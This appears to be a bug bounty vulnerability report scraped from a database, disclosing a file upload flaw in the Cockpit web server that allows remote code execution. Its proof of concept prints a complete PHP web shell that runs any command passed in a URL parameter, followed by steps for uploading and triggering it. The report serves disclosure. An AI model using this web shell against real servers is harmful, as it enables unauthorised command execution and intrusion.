Lucene search

K
huntrChoocsF73EEF49-004F-4B3B-9717-90525E65BA61
HistoryMar 09, 2023 - 8:52 a.m.

File Upload Bypass Leads to Remote Code Execution (RCE)

2023-03-0908:52:18
choocs
www.huntr.dev
13
file upload
server security
rce
command execution
bug bounty

EPSS

0.001

Percentile

37.1%

Description

There is no extension checks during file upload. Attacker may upload file to execute malicious code in the server.

Proof of Concept

Step 1: Create a file with the content below and save it as evil.php

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
&lt;?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?&gt;
</pre>
&lt;/body&gt;
&lt;/html&gt;

Step 2: Login to the Cockpit web server

Step 3: Go to assets

Step 4: Upload Assets

Step 5: Upload the file that created.

Step 6: Copy asset link and paste it at a new tab.

Step 7: Able to execute any commands.

EPSS

0.001

Percentile

37.1%

Related for F73EEF49-004F-4B3B-9717-90525E65BA61